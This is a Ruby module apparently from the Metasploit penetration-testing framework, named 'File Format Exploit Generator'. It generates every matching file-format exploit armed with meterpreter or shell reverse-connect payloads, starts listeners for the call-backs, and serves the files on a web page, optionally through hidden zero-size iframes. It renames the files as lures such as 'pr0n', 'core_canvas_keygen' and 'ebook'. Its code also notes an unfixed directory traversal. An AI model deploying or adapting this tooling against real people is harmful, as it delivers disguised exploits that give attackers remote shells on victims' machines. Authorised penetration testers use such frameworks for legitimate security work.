metasploit-framework/modules/auxiliary/server/file_autopwn.rb

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
#require 'rex/exploitation/javascriptosdetect'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'File Format Exploit Generator',
			'Version'     => '$Revision$',
			'Description' => %q{
				This module generates a combination of File format exploits and make them available to a client. 94.7% Based on browser autopwn by egypt.
				},
			'Author'      =>
				[
					'et',
				],
			'License'     => BSD_LICENSE,
			'Actions'     =>
				[
					[ 'WebServer', {
						'Description' => 'Deliver file format exploits in a web page with links to the actual files'
					} ],
					[ 'OnlyFiles', {
						'Description' => 'Create file format exploits in selected directory'
					} ],
					[ 'list', {
						'Description' => 'List the exploit modules that would be started'
					} ]
				],
			'PassiveActions' =>
				[ 'WebServer', 'Email' ],
			'DefaultAction'  => 'WebServer'))

		register_options([
			OptAddress.new('LHOST', [ true,
				'The IP address to use for reverse-connect payloads'
			]),
			OptString.new('OUTPUTPATH', [ true,
				'The location of the files.', File.join(Msf::Config.get_config_root, 'exploits')
			]),
			OptBool.new('CREATEFILES', [ true,
				'Set to false in case files are already in the defined path',
				true
			]),
			OptBool.new('USECONTENTTYPE', [ true,
				'Use Content-type header according to file extension. Many exploits may fail depending on this value',
				true
			]),

		], self.class)

		register_advanced_options([
			OptString.new('MATCH', [false,
				'Only attempt to use exploits whose name matches this regex'
			]),
			OptString.new('EXCLUDE', [false,
				'Only attempt to use exploits whose name DOES NOT match this regex'
			]),
			OptBool.new('USEMODNAME', [false,
				'Use module names as file names',
				true
			]),
			OptBool.new('USEIFRAMES', [false,
				'Deliver each file as an iframe in webserver',
				false
			]),
			OptString.new('TITLE', [ true,
				'The HTML page title.', 'WALL oF SHAME'
			]),
			OptString.new('COMMENT', [ true,
				'HTML page text.', '<b>Welcome!</b><br>'
			]),
			OptPort.new('LPORT_WIN32', [false,
				'The port to use for Windows reverse-connect payloads, default is 3333'
			]),
			OptPort.new('LPORT_MULTI', [false,
				'The port to use for Multi reverse-connect payloads, default is 4444'
			]),
			OptPort.new('LPORT_MAC', [false,
				'The port to use for Mac reverse-connect payloads, default is 5555'
			]),
			OptPort.new('LPORT_GENERIC', [false,
				'The port to use for generic reverse-connect payloads, default is 6666'
			]),
		], self.class)

		@exploits = Hash.new
		@payloads = Hash.new
		@targetcache = Hash.new
	end


	def run
		storexp = File.join(Msf::Config.get_config_root, 'exploits')
		Dir.mkdir(storexp) unless File.directory?(storexp)

		if (action.name == 'list')
			m_regex = datastore["MATCH"]   ? %r{#{datastore["MATCH"]}}   : %r{}
			e_regex = datastore["EXCLUDE"] ? %r{#{datastore["EXCLUDE"]}} : %r{^$}
			[ [framework.exploits, 'exploit' ] ].each do |mtype|
				mtype[0].each_module do |name, mod|
					m = mod.new

					if ((m.kind_of? Msf::Exploit::FILEFORMAT) and name =~ m_regex and name !~ e_regex)
						@exploits[name] = nil
						print_line name
						#print_line
						#print_line m.description
						#print_line
						#print_line "Targets"
						#
						#begin
						#	tout = Serializer::ReadableText.dump_exploit_target(m, '   ')
						#	print_line tout
						#rescue
						#	print_error "Error retrieving targets in #{name}"
						#end
					end
				end
			end
			print_line
			print_status("Found #{@exploits.length} exploit modules")
		elsif (action.name == 'WebServer')
			if (!framework.db.active)
				warn_no_database
			end
			start_exploit_modules()

			if !datastore['CREATEFILES']
				print_status("FILES NOT CREATED")
			end

			if @exploits.length < 1 and datastore["CREATEFILES"]
				print_error("No exploits, check your MATCH and EXCLUDE settings")
				return false
			end
			exploit()
		elsif (action.name == 'OnlyFiles')
			if (!framework.db.active)
				warn_no_database
			end
			start_exploit_modules()

			if @exploits.length < 1
				print_error("No exploits, check your MATCH and EXCLUDE settings")
				return false
			end
		end
	end


	def setup

		#
		# I'm still not sold that this is the best way to do this, but random
		# LPORTs causes confusion when things break and breakage when firewalls
		# are in the way.  I think the ideal solution is to have
		# self-identifying payloads so we'd only need 1 LPORT for multiple
		# stagers.
		#
		@win_lport =   datastore['LPORT_WIN32'] || 3333
		@multi_lport = datastore['LPORT_MULTI'] || 4444
		@osx_lport =   datastore['LPORT_MACOS'] || 5555
		@gen_lport =   datastore['LPORT_GENERIC'] || 6666

		minrank = framework.datastore['MinimumRank'] || 'manual'
		if not RankingName.values.include?(minrank)
			print_error("MinimumRank invalid!  Possible values are (#{RankingName.sort.map{|r|r[1]}.join("|")})")
			wlog("MinimumRank invalid, ignoring", 'core', LEV_0)
		end
		@minrank = RankingName.invert[minrank]

	end


	def init_exploit(name, mod = nil, targ = 0)
		if mod.nil?
			@exploits[name] = framework.modules.create(name)
		else
			@exploits[name] = mod.new
		end
		modrank = @exploits[name].class.const_defined?('Rank') ? @exploits[name].class.const_get('Rank') : NormalRanking
		if (modrank < @minrank)
			@exploits.delete(name)
			return false
		end

		case name
		when %r{windows}
			payload='windows/meterpreter/reverse_tcp'
			lport = @win_lport
		when %r{multi}
			payload='windows/meterpreter/reverse_tcp'
			lport = @multi_lport
		#when %r{osx}
			# Some day...
			#payload='osx/meterpreter/reverse_tcp'
		else
			lport = @gen_lport
			payload='generic/shell_reverse_tcp'
		end
		@payloads[lport] = payload

		if datastore['CREATEFILES']
			print_status("File Format exploit #{name} with payload #{payload}")
		end

		@exploits[name].datastore['SRVHOST'] = datastore['SRVHOST']
		@exploits[name].datastore['SRVPORT'] = datastore['SRVPORT']

		# For testing, set the exploit uri to the name of the exploit so it's
		# easy to tell what is happening from the browser.
		@exploits[name].datastore['OUTPUTPATH'] = datastore['OUTPUTPATH']

		if (datastore['USEMODNAME'])
			@exploits[name].datastore['FILENAME'] = name.gsub(/[\\\/]/, '_') + '_' + @exploits[name].datastore['FILENAME']
		else
			# Later change for some simple names
			@exploits[name].datastore['FILENAME'] = filerename(File.extname(@exploits[name].datastore['FILENAME']))
		end

		@exploits[name].datastore['LPORT'] = lport
		@exploits[name].datastore['LHOST'] = @lhost
		@exploits[name].datastore['EXITFUNC'] = datastore['EXITFUNC'] || 'thread'
		@exploits[name].datastore['DisablePayloadHandler'] = true

		if datastore['CREATEFILES']
			@exploits[name].exploit_simple(
				'LocalInput'     => self.user_input,
				'LocalOutput'    => self.user_output,
				'Target'         => targ,
				'Payload'        => payload,
				'RunAsJob'       => true)

			# It takes a little time for the resources to get set up, so sleep for
			# a bit to make sure the exploit is fully working.  Without this,
			# mod.get_resource doesn't exist when we need it.
			Rex::ThreadSafe.sleep(0.5)
			# Make sure this exploit got set up correctly, return false if it
			# didn't
			if framework.jobs[@exploits[name].job_id.to_s].nil?
				print_error("Failed to start exploit module #{name}")
				@exploits.delete(name)
				return false
			end
		end
		return true
	end


	def start_exploit_modules()
		@lhost = (datastore['LHOST'] || "0.0.0.0")

		print_line
		print_status("Starting exploit modules on host #{@lhost}...")
		print_status("---")
		print_line
		m_regex = datastore["MATCH"]   ? %r{#{datastore["MATCH"]}}   : %r{}
		e_regex = datastore["EXCLUDE"] ? %r{#{datastore["EXCLUDE"]}} : %r{^$}


		[ [framework.exploits, 'exploit' ] ].each do |mtype|
			framework.exploits.each_module do |name, mod|
				m = mod.new
				if (m.kind_of? Msf::Exploit::FILEFORMAT) and name =~ m_regex and name !~ e_regex
					next if !(init_exploit(name))
				end
			end
		end

		if action.name == 'OnlyFiles'
			print_status "--- Done. Files created in #{datastore['OUTPUTPATH']}"
			return
		end

		# start handlers for each type of payload
		[@win_lport, @lin_lport, @osx_lport, @gen_lport].each do |lport|
			if (lport and @payloads[lport])
				print_status("Starting handler for #{@payloads[lport]} on port #{lport}")
				multihandler = framework.modules.create("exploit/multi/handler")
				multihandler.datastore['LPORT'] = lport
				multihandler.datastore['LHOST'] = @lhost
				multihandler.datastore['ExitOnSession'] = false
				multihandler.datastore['EXITFUNC'] = datastore['EXITFUNC'] || 'thread'
				multihandler.exploit_simple(
					'LocalInput'     => self.user_input,
					'LocalOutput'    => self.user_output,
					'Payload'        => @payloads[lport],
					'RunAsJob'       => true)
			end
		end
		# let the handlers get set up
		Rex::ThreadSafe.sleep(0.5)

		print_line
		print_status("--- Done, found %bld%grn#{@exploits.length}%clr exploit modules")
		print_line

	end

	def on_request_uri(cli, request)
		#
		# I have NOT fixed dir. transversals!
		#

		print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")

		case request.uri
		when self.get_resource
			# This is the first request.
			response = create_response()
			response["Expires"] = "0"

			response.body  = "<html > <head > <title > Wall of Shame </title> </head> "
			response.body << "<body>"
			response.body << "<h2>#{datastore['TITLE']}</h2><br>"
			response.body << "#{datastore['COMMENT']}"
			Dir.foreach(datastore['OUTPUTPATH']) do |entry|
				if entry == '.' or entry == '..'
					# do nothing
				else
					if !datastore['USEIFRAMES']
						response.body << "<a href= #{self.get_resource+entry}>#{entry}</a><br>"
					else
						response.body << "<iframe style=\"width:0px; height:0px; border: 0px\" src=#{self.get_resource+entry}><b>#{entry}</b></iframe><br>"
					end
				end
			end
			response.body << "</body></html>"

			cli.send_response(response)
		when %r{^#{self.get_resource}.*}

			fname = request.uri.gsub("#{self.get_resource}/","")

			response = create_response()
			response["Expires"] = "0"


			if datastore['USECONTENTTYPE']
				response["Content-type"] = ctype(File.extname(fname))['ctype']
				if ctype(File.extname(fname))['cdisp']
					response["Content-disposition"] = "attachment; filename=#{fname}"
				end
			else
				response["Content-type"] = "application/octet-stream"
				response["Content-disposition"] = "attachment; filename=#{fname}"
			end

			fullname = File.join(datastore['OUTPUTPATH'],fname)

			if File.exist?(fullname) and File.file?(fullname)
				src = File.open(fullname, "rb")
				while (not src.eof?)
					response.body << src.read(src.stat.size)
				end
				src.close
				src = nil
			else
				print_status("404ing #{request.uri}")
				send_not_found(cli)
			end
			cli.send_response(response)
		else
			print_status("404ing #{request.uri}")
			send_not_found(cli)
			return false
		end
	end

	def filerename(ext)
		#
		# A sample way to change file name by type instead of using the ugly
		# exploit name
		#

		case ext
		when ".html" then
			n = "pr0n" + Rex::Text.rand_text_numeric(4)
		when ".exe" then
			n = "core_canvas_keygen" + Rex::Text.rand_text_numeric(4)
		when ".pdf" then
			n = "ebook" + Rex::Text.rand_text_numeric(6)
		when ".zip" then
			n = "gibson_passwd" + Rex::Text.rand_text_numeric(4)
		when ".xsl" then
			n = "test" + Rex::Text.rand_text_numeric(2)
		when ".m3u" then
			n = "musical" + Rex::Text.rand_text_numeric(2)
		else
			n = "data" + Rex::Text.rand_text_numeric(4)
		end

		n << ext

		return n

	end

	def ctype(ext)
		aret = {}


		#
		# Need to force download as some exploits (i.e. pdf)
		# dont work thru the browser only work when the file is saved and/or opened
		#

		# ctype:  Content-type
		# cdisp:  true/false Include a "Content-disposition" header to force save as

		case ext
		when ".html" then
			aret['ctype'] = "text/html"
			aret['cdisp'] = false
		when ".exe" then
			aret['ctype'] = "application/octet-stream"
			aret['cdisp'] = false
		when ".pdf" then
			#
			# See comments above
			# aret['ctype'] = "application/pdf"
			aret['ctype'] = "application/octet-stream"
			aret['cdisp'] = true
		when ".zip" then
			aret['ctype'] = "application/zip"
			aret['cdisp'] = false
		when ".xsl" then
			aret['ctype'] = "text/xml"
			aret['cdisp'] = false
		when ".m3u" then
			aret['ctype'] = "audio/x-mpegurl"
			aret['cdisp'] = false
		else
			aret['ctype'] = "application/octet-stream"
			aret['cdisp'] = false
		end
		return aret
	end

	def warn_no_database
		print_error("WARNING: Database is disabled")
	end
end